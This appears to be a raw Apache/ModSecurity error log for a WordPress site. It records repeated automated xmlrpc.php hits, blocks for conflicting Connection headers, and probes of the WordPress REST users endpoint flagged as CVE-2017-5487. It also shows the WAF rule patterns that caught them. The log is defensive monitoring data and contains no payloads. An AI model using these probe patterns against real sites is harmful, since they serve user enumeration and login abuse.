[Wed Dec 31 09:30:27.899015 2025] [:error] [pid 20484:tid 20490] [client 184.168.99.137:29170] [client 184.168.99.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.168.99.137, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVR8s5hjQxR09ihThyTqfQAAAQQ"]
[Wed Dec 31 09:56:33.800110 2025] [:error] [pid 20484:tid 20491] [client 147.182.200.95:60302] [client 147.182.200.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.200.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVSC0ZhjQxR09ihThyT0ngAAAQU"]
[Wed Dec 31 10:48:17.515656 2025] [:error] [pid 20392:tid 20419] [client 49.51.132.100:55060] [client 49.51.132.100] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVSO8Sv3LtZlH2fDnmR9dAAAANg"]
[Wed Dec 31 10:53:17.299822 2025] [:error] [pid 20484:tid 20509] [client 148.251.75.206:34048] [client 148.251.75.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.75.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVSQHZhjQxR09ihThyQJngAAARc"]
[Wed Dec 31 11:43:41.048943 2025] [:error] [pid 48833:tid 48843] [client 89.58.21.22:58224] [client 89.58.21.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.58.21.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVSb7WPnRNOqqZ1OQg92zwAAAEg"]
[Wed Dec 31 12:38:34.121959 2025] [:error] [pid 48715:tid 48795] [client 68.183.124.132:40624] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVSoymamQpQY7KfuoW0KLwAAAJc"]
[Wed Dec 31 13:31:17.737664 2025] [:error] [pid 48833:tid 48854] [client 195.234.138.24:59422] [client 195.234.138.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.234.138.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVS1JWPnRNOqqZ1OQg-bUAAAAFM"]
[Wed Dec 31 14:26:38.279334 2025] [:error] [pid 48833:tid 48857] [client 66.226.73.181:46996] [client 66.226.73.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.226.73.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVTCHmPnRNOqqZ1OQg-qAQAAAFY"]
[Wed Dec 31 14:31:47.480457 2025] [:error] [pid 48714:tid 48748] [client 182.44.10.67:35105] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVTDU79PcChEHWa6VitTOgAAAAM"]
[Wed Dec 31 15:19:49.792364 2025] [:error] [pid 48714:tid 48757] [client 95.223.75.153:29903] [client 95.223.75.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.223.75.153, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVTOlb9PcChEHWa6VitcRwAAAAw"]
[Wed Dec 31 16:15:08.749071 2025] [:error] [pid 48715:tid 48785] [client 155.133.142.66:63021] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVTbjGamQpQY7KfuoW0-OQAAAI0"]
[Wed Dec 31 17:06:42.403517 2025] [:error] [pid 64406:tid 64420] [client 62.210.64.72:33162] [client 62.210.64.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.210.64.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVTnoiLRcJYP7e7OhBYBzwAAAQw"]
[Wed Dec 31 17:19:51.873225 2025] [autoindex:error] [pid 7800:tid 7817] [client 138.197.17.1:55768] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Dec 31 18:00:09.652125 2025] [:error] [pid 48714:tid 48769] [client 23.239.25.95:47330] [client 23.239.25.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.239.25.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVT0Kb9PcChEHWa6Vit9YgAAABg"]
[Wed Dec 31 18:21:12.736925 2025] [:error] [pid 48715:tid 48792] [client 35.185.69.12:63430] [client 35.185.69.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.185.69.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVT5GGamQpQY7KfuoW1TrwAAAJQ"]
[Wed Dec 31 18:21:16.306837 2025] [:error] [pid 48715:tid 48777] [client 35.185.69.12:63430] [client 35.185.69.12] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVT5HGamQpQY7KfuoW1TswAAAIU"]
[Wed Dec 31 18:21:18.085309 2025] [:error] [pid 48715:tid 48776] [client 35.185.69.12:63430] [client 35.185.69.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.185.69.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVT5HmamQpQY7KfuoW1TtQAAAIQ"]
[Wed Dec 31 18:21:20.183863 2025] [:error] [pid 48715:tid 48794] [client 35.185.69.12:56189] [client 35.185.69.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.185.69.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVT5IGamQpQY7KfuoW1TuQAAAJY"]
[Wed Dec 31 18:21:22.367111 2025] [:error] [pid 48713:tid 48722] [client 35.185.69.12:58841] [client 35.185.69.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.185.69.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVT5IkyNMVAGtWvMliPc_QAAAMQ"]
[Wed Dec 31 18:21:24.550986 2025] [:error] [pid 7576:tid 7594] [client 35.185.69.12:63128] [client 35.185.69.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.185.69.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVT5JKFUpQkpGJNxC_-hMgAAAVA"]
[Wed Dec 31 18:21:26.675812 2025] [:error] [pid 8068:tid 8090] [client 35.185.69.12:57813] [client 35.185.69.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.185.69.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVT5JiSVtzoWnijCxFZIIQAAAdQ"]
[Wed Dec 31 18:21:26.675964 2025] [:error] [pid 8068:tid 8090] [client 35.185.69.12:57813] [client 35.185.69.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.185.69.12, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVT5JiSVtzoWnijCxFZIIQAAAdQ"]
[Wed Dec 31 18:54:21.772469 2025] [:error] [pid 48714:tid 48749] [client 152.53.164.187:60054] [client 152.53.164.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.164.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVUA3b9PcChEHWa6ViuFnQAAAAQ"]
[Wed Dec 31 18:56:58.248269 2025] [:error] [pid 48713:tid 48737] [client 40.118.225.132:2567] [client 40.118.225.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 40.118.225.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVUBekyNMVAGtWvMliPivgAAANM"]
[Wed Dec 31 19:49:01.929173 2025] [:error] [pid 7800:tid 7814] [client 85.214.167.117:41936] [client 85.214.167.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.167.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVUNrSN6RFoECeReAPVhMwAAAYs"]
[Wed Dec 31 20:26:03.150667 2025] [:error] [pid 7800:tid 7812] [client 112.202.123.66:16100] [client 112.202.123.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.202.123.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVUWWyN6RFoECeReAPVnswAAAYk"]
[Wed Dec 31 20:26:05.730045 2025] [:error] [pid 8068:tid 8077] [client 112.202.123.66:16154] [client 112.202.123.66] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aVUWXSSVtzoWnijCxFZleQAAAcc"]
[Wed Dec 31 20:26:54.700691 2025] [:error] [pid 64406:tid 64423] [client 112.202.123.66:17112] [client 112.202.123.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.202.123.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVUWjiLRcJYP7e7OhBYjmAAAAQ8"]
[Wed Dec 31 20:35:12.607535 2025] [:error] [pid 7800:tid 7804] [client 112.202.123.66:16197] [client 112.202.123.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.202.123.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVUYgCN6RFoECeReAPVpRQAAAYE"]
[Wed Dec 31 20:41:08.554669 2025] [:error] [pid 48714:tid 48750] [client 81.88.49.8:52505] [client 81.88.49.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.88.49.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVUZ5L9PcChEHWa6ViuVywAAAAU"]
[Wed Dec 31 20:41:44.174508 2025] [:error] [pid 7800:tid 7815] [client 112.202.123.66:17303] [client 112.202.123.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.202.123.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVUaCCN6RFoECeReAPVqlwAAAYw"]
[Wed Dec 31 20:47:17.603776 2025] [:error] [pid 48833:tid 48846] [client 112.202.123.66:13815] [client 112.202.123.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.202.123.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVUbVWPnRNOqqZ1OQg_7fQAAAEs"]
[Wed Dec 31 20:48:12.022804 2025] [:error] [pid 48713:tid 48724] [client 192.144.148.122:40858] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVUbjEyNMVAGtWvMliPysgAAAMY"]
[Wed Dec 31 21:37:40.615522 2025] [:error] [pid 8068:tid 8071] [client 95.174.29.115:51172] [client 95.174.29.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.174.29.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVUnJCSVtzoWnijCxFZ13QAAAcE"]
[Wed Dec 31 22:49:12.117344 2025] [:error] [pid 48715:tid 48781] [client 222.252.11.23:37603] [client 222.252.11.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 222.252.11.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVU36GamQpQY7KfuoW14fwAAAIk"]
[Wed Dec 31 22:56:26.884043 2025] [:error] [pid 48714:tid 48749] [client 49.36.233.91:14433] [client 49.36.233.91] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aVU5mr9PcChEHWa6ViunVQAAAAQ"]
[Wed Dec 31 22:57:51.068768 2025] [:error] [pid 48833:tid 48837] [client 49.36.233.91:1596] [client 49.36.233.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.233.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVU572PnRNOqqZ1OQg8N5gAAAEI"]
[Wed Dec 31 22:59:13.151707 2025] [:error] [pid 64406:tid 64411] [client 49.36.233.91:2452] [client 49.36.233.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.233.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVU6QSLRcJYP7e7OhBY4lAAAAQM"]
[Wed Dec 31 23:00:39.795765 2025] [:error] [pid 8068:tid 8092] [client 49.36.233.91:2759] [client 49.36.233.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.233.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVU6lySVtzoWnijCxFaK7wAAAdY"]
[Wed Dec 31 23:02:12.108118 2025] [:error] [pid 7576:tid 7590] [client 49.36.233.91:3483] [client 49.36.233.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.233.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVU69KFUpQkpGJNxC__hJgAAAUw"]
[Wed Dec 31 23:03:30.648274 2025] [:error] [pid 7800:tid 7804] [client 49.36.233.91:4268] [client 49.36.233.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.233.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVU7QiN6RFoECeReAPWAAAAAAYE"]
[Wed Dec 31 23:30:42.719462 2025] [:error] [pid 8068:tid 8075] [client 46.182.4.125:23022] [client 46.182.4.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.182.4.125, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVVBoiSVtzoWnijCxFaStwAAAcU"]
[Wed Dec 31 23:33:19.720967 2025] [:error] [pid 48714:tid 48759] [client 43.164.197.209:55528] [client 43.164.197.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVVCP79PcChEHWa6ViuscAAAAA4"]
[Thu Jan 01 00:57:56.984865 2026] [:error] [pid 64406:tid 64429] [client 43.157.50.58:57976] [client 43.157.50.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVVWFCLRcJYP7e7OhBZIkgAAARU"]
[Thu Jan 01 01:33:00.657886 2026] [:error] [pid 8068:tid 8073] [client 135.181.225.133:40416] [client 135.181.225.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.181.225.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVVeTCSVtzoWnijCxFattwAAAcM"]
[Thu Jan 01 02:16:27.670547 2026] [:error] [pid 64406:tid 64432] [client 5.75.172.230:50052] [client 5.75.172.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.75.172.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVVoeyLRcJYP7e7OhBZTUgAAARg"]
[Thu Jan 01 03:02:39.431016 2026] [:error] [pid 8068:tid 8086] [client 106.227.49.113:38715] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVVzTySVtzoWnijCxFbBDQAAAdA"]
[Thu Jan 01 04:28:04.758413 2026] [:error] [pid 58818:tid 58853] [client 81.8.91.201:59028] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVWHVGr6b3Nsqkrqu826dgAAAEA"]
[Thu Jan 01 05:22:37.121240 2026] [:error] [pid 58818:tid 58863] [client 5.161.113.246:43570] [client 5.161.113.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.161.113.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVWUHWr6b3Nsqkrqu83IRwAAAEo"]
[Thu Jan 01 06:15:10.824821 2026] [:error] [pid 58924:tid 58942] [client 151.80.61.189:46558] [client 151.80.61.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 151.80.61.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVWgbjYXM8NvhWQPUGuwPAAAANA"]
[Thu Jan 01 07:06:53.388403 2026] [:error] [pid 58924:tid 58947] [client 82.223.128.211:59142] [client 82.223.128.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.128.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVWsjTYXM8NvhWQPUGu_mAAAANU"]
[Thu Jan 01 09:00:12.369279 2026] [:error] [pid 58370:tid 58393] [client 110.166.71.39:38002] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVXHHDkIHVNixymRHHclzwAAARU"]
[Thu Jan 01 09:13:48.265714 2026] [:error] [pid 58817:tid 58846] [client 43.153.58.28:34030] [client 43.153.58.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVXKTFebWGLeUWiwYf8FWgAAABQ"]
